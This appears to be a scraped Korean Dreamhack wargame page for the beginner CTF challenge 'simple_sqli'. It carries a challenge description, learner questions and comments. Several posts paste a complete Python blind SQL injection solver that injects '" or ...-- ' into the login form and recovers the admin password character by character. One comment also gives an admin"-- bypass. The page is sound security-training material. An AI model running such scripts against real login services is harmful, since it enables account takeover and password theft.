LEVEL 1

simple_sqli

web
  • 문제 정보
  • 풀이 319
  • 난이도 투표 64
  • 질문 10
  • 최근 풀이자 7879
  • 댓글 265

문제 설명

로그인 서비스입니다.
SQL INJECTION 취약점을 통해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.

Reference

Server-side Basic

난이도 투표 64

질문 10

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
Internal Server Error 500 오류
Use a production WSGI server instead. Debug mode: off Running on all addresses. WARNING: This is a development server. Do not use it in a production deployment. Running on http://192.168.0.3:8000/ (Press CTRL+C to quit) [2022-03-19 21:47:12,299] ERROR in app: Exception on / [GET] Traceback (most recent call last): File "c:\Users\user\AppData\Local\Programs\Python\Python39\lib\site-packages\flask\app.py", line 2073, in wsgi_app response = self.full_dispatch_request() File "c:\Users\user\AppData\Local\Programs\Python\Python39\lib\site-packages\flask\app.py", line 1518, in full_dispatch_request rv = self.handle_user_exception(e) File "c:\Users\user\AppData\Local\Programs\Python\Python39\lib\site-packages\flask\app.py", line 1516, in full_dispatch_request rv = self.dispatch_request() File "c:\Users\user\AppData\Local\Programs\Python\Python39\lib\site-packages\flask\app.py", line 1502, in dispatch_request return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args) File "c:\appPython\app.py", line 44, in index return render_template('index.html') File "c:\Users\user\AppData\Local\Programs\Python\Python39\lib\site-packages\flask\templating.py", line 148, in render_template ctx.app.jinja_env.get_or_select_template(template_name_or_list), File "c:\Users\user\AppData\Local\Programs\Python\Python39\lib\site-packages\jinja2\environment.py", line 1068, in get_or_select_template return self.get_template(template_name_or_list, parent, globals) File "c:\Users\user\AppData\Local\Programs\Python\Python39\lib\site-packages\jinja2\environment.py", line 997, in get_template return self._load_template(name, globals) File "c:\Users\user\AppData\Local\Programs\Python\Python39\lib\site-packages\jinja2\environment.py", line 958, in _load_template template = self.loader.load(self, name, self.make_globals(globals)) File "c:\Users\user\AppData\Local\Programs\Python\Python39\lib\site-packages\jinja2\loaders.py", line 125, in load source, filename, uptodate = self.get_source(environment, name) File "c:\Users\user\AppData\Local\Programs\Python\Python39\lib\site-packages\flask\templating.py", line 59, in get_source return self._get_source_fast(environment, template) File "c:\Users\user\AppData\Local\Programs\Python\Python39\lib\site-packages\flask\templating.py", line 95, in _get_source_fast raise TemplateNotFound(template) jinja2.exceptions.TemplateNotFound: index.html 192.168.0.3 - - [19/Mar/2022 21:47:12] "GET / HTTP/1.1" 500 - 위와 같이 오류가 나옵니다. 오류가 나오는 이유는 render_template함수를 통해서 index.html을 불러오는데 templates 폴더 안에 index.html이 없어서 나오는 것임을 인지했는데 index.html 내용을 어디서 복사해 오는 것인지 모르겠습니다... 도와주세요!!!!
avatar Naman
Blind SQL Injection 사용할 때, 한 글자씩 알아내는 코드는 어디에 넣나요?
#!/usr/bin/python3.9 import requests import sys from urllib.parse import urljoin class Solver: """Solver for simple_SQLi challenge""" initialization def init(self, port: str) -> None: self._chall_url = f"http://host1.dreamhack.games:{port}" self._login_url = urljoin(self._chall_url, "login") base HTTP methods def _login(self, userid: str, userpassword: str) -> requests.Response: login_data = { "userid": userid, "userpassword": userpassword } resp = requests.post(self._login_url, data=login_data) return resp base sqli methods def _sqli(self, query: str) -> requests.Response: resp = self._login(f"\" or {query}-- ", "hi") return resp def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int: while 1: mid = (low+high) // 2 if low+1 >= high: break query = query_tmpl.format(val=mid) if "hello" in self._sqli(query).text: high = mid else: low = mid return mid attack methods def _find_password_length(self, user: str, max_pw_len: int = 100) -> int: query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\") < {{val}})" pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len) return pw_len def _find_password(self, user: str, pw_len: int) -> str: pw = '' for idx in range(1, pw_len+1): query_tmpl = f"((SELECT SUBSTR(userpassword,{idx},1) WHERE userid=\"{user}\") < CHAR({{val}}))" pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2f, 0x7e)) print(f"{idx}. {pw}") return pw def solve(self) -> None: Find the length of admin password pw_len = solver._find_password_length("admin") print(f"Length of the admin password is: {pw_len}") Find the admin password print("Finding password:") pw = solver._find_password("admin", pw_len) print(f"Password of the admin is: {pw}") if name == "main": port = sys.argv[1] solver = Solver(port) solver.solve() 이 코드가 pw를 한 글자씩 알아내는 코드인데, 이 코드를 어디에 넣어ㅑ하나요? f12 콘솔에는 넣어도 안돼요ㅠㅠ
didos
blind_sql_injection 강의코드 이해안되는 부분 질문드립니다.
#!/usr/bin/python3 import requests import sys from urllib.parse import urljoin class Solver: """Solver for simple_SQLi challenge""" initialization def init(self, port: str) -> None: self._chall_url = f"http://host1.dreamhack.games:{port}" self._login_url = urljoin(self._chall_url, "login") base HTTP methods def _login(self, userid: str, userpassword: str) -> requests.Response: login_data = {"userid": userid, "userpassword": userpassword} resp = requests.post(self._login_url, data=login_data) return resp base sqli methods def _sqli(self, query: str) -> requests.Response: resp = self._login(f'" or {query}-- ', "hi") return resp def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int: while 1: mid = (low + high) // 2 if low + 1 >= high: break query = query_tmpl.format(val=mid) if "hello" in self._sqli(query).text: high = mid else: low = mid return mid attack methods def _find_password_length(self, user: str, max_pw_len: int = 100) -> int: query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})' pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len) return pw_len def _find_password(self, user: str, pw_len: int) -> str: pw = "" for idx in range(1, pw_len + 1): query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))' pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E)) print(f"{idx}. {pw}") return pw def solve(self) -> None: Find the length of admin password pw_len = solver._find_password_length("admin") print(f"Length of the admin password is: {pw_len}") Find the admin password print("Finding password:") pw = solver._find_password("admin", pw_len) print(f"Password of the admin is: {pw}") if name == "main": port = sys.argv[1] solver = Solver(port) solver.solve() blind sql injection으로 푸는 강의에서 비밀번호 길이를 알아낸 후, 비밀번호 자체를 알아내는 코드입니다. 여기서 질문입니다. pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E)) 여기서 범위가 왜 0x2F(/)부터 0X7E(~)까지 인가요? app.py에서 userpassword에 binascii.hexlify(os.urandom(16)).decode("utf8")) 이런 식으로 넣어줬는데, 그렇다면 16진수 문자열은 0-9의 숫자와 a-f의 소문자 알파벳만을 포함합니다. 쓸데없이 포함하지 않아도 되는 대문자 알파벳 범위(0x41~0x5A)도 포함하게 됩니다. 또, 굳이 시작하면 0x30(0)부터 시작하면 되는거 아닌가요? 이렇게 필요없는 범위가 들어가있을 때는 이진탐색보다 전체를 다 탐색하는게 더 효율적일 수 있지 않을까요? 16개 문자열만 탐색하면 되는데 범위가 지나치게 넓은 것 같습니다. image.png
asdaw1
비밀번호 유추에서 문제 남
강의에서 나온 내용을 요약해서 했는데 마지막 비밀번호 형식이 DH{...}이 아니고 그냥 `Length of the admin password is: 33 Password of the admin is: 1fddb23e693dd5be45784281e39833:50` 이렇게 뜹니다... admin"-- 으로 플래그를 확인해보니 DH{}만 빼면 글자 수도 같은것 같아요. 근데 이미 플래그를 제출해버려서 이게 맞는지 틀리는지 모르겠어요... 주석은 제 나름대로 강의 코드 요약해서 의미 해석한건데 완전 쌩 처음이라 채찍피티한테 모르는것만 물어보고 주석은 혼자 달았거든요. 주석에 보완할 점이나 개선할 점이 있다면 알려주세요! 코드 : import requests from urllib.parse import urljoin class Solver: def init(self) -> None: self._chall_url = "http://host8.dreamhack.games:23347/login" # URL self._login_url = urljoin(self._chall_url, "login") def _login(self, query: str) -> requests.Response: # 로그인 return requests.post(self._login_url, data={"userid": f'" or {query}-- ', "userpassword": "hi"}) def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int: # 이진 탐색 while high - low > 1: # 범위가 1개 초과면 계속 반복 mid = (low + high) // 2 # mid 구하기기 길이 유추에선 쿼리 템플릿이 query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})'이고, 비밀번호 유추에선 query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'임. query = query_tmpl.format(val=mid) # 쿼리 탬플릿 값 채우기 if "hello" in self._login(query).text: # 로그인 했을 때 결과에 hello라는 문자열이 나오면 pw < val 이라는 뜻 만약 길이라면 pw길이가 val보다 작다는거고, 비번이라면 pw의 몇번째 숫자가 val보다 작다는 거임 (아스키코드) high = mid else: low = mid return high #high = mid 이기때문에 mid를 반환하나 high를 반환하나 상관 x def _find_password_length(self, user: str, max_len: int = 100) -> int: # 비번 길이 탐색 query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})' return self._sqli_lt_binsearch(query_tmpl, 0, max_len) def _find_password(self, user: str, pw_len: int) -> str: # 비번 유추 pw = "" for idx in range(1, pw_len + 1): query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))' pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E)) # 이진 탐색으로 받은 아스키코드를 문자열로 변환하고 pw에 추가 (ox2F, 0x7E는 아스키코드 중 끝과 시작임.) return pw def solve(self) -> None: # 결론 도출 pw_len = self._find_password_length("admin") print(f"Length of the admin password is: {pw_len}") pw = self._find_password("admin", pw_len) print(f"Password of the admin is: {pw}") if name == "main": Solver().solve() `
avatar 하얀떡
LEVEL 1

simple_sqli

web

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
bbq9014
워게임: 50
출제된 지 17시간 만에 풀이 완료!

최근 풀이자 7879

0xqury
대표 업적 없음
저는기어다닐거에요
대표 업적 없음
dasol12
대표 업적 없음
minjaealswo
대표 업적 없음
hakid29_work
대표 업적 없음
Welc0me_
대표 업적 없음
데미소다포도맛
대표 업적 없음
avatar
하얀떡
대표 업적 없음
kble
대표 업적 없음
김윤정
대표 업적 없음

댓글 265

엄마레전드
대표 업적 없음
아따 쉽노
귀욤뽀찌뽀짝
대표 업적 없음
너무 쉽네요 ㅋㅋ
avatar
비가내림
대표 업적 없음
nice
............
웹해킹 전문가
소스코드 안보고 나댔다가 뒤통수 맞았네요
avatar
Rootsquare
해결사
SQL 삽입 연습
RUMIO
대표 업적 없음
Blind SQL로 풀기가 어렵네요
White_hacker_shy
대표 업적 없음
기초 SQLI 문제
똘비
대표 업적 없음
쿼리문 원리만 이해한다면 매우 간단한 문제!
Samsubong
대표 업적 없음
머리속에 떠올리며 하는게 아직 익숙치 않고 헷갈린다면 메모장에 적어가면서 해보세요
LOLLLLw
대표 업적 없음
If i use burpsuit how can I determine the length of the password in any way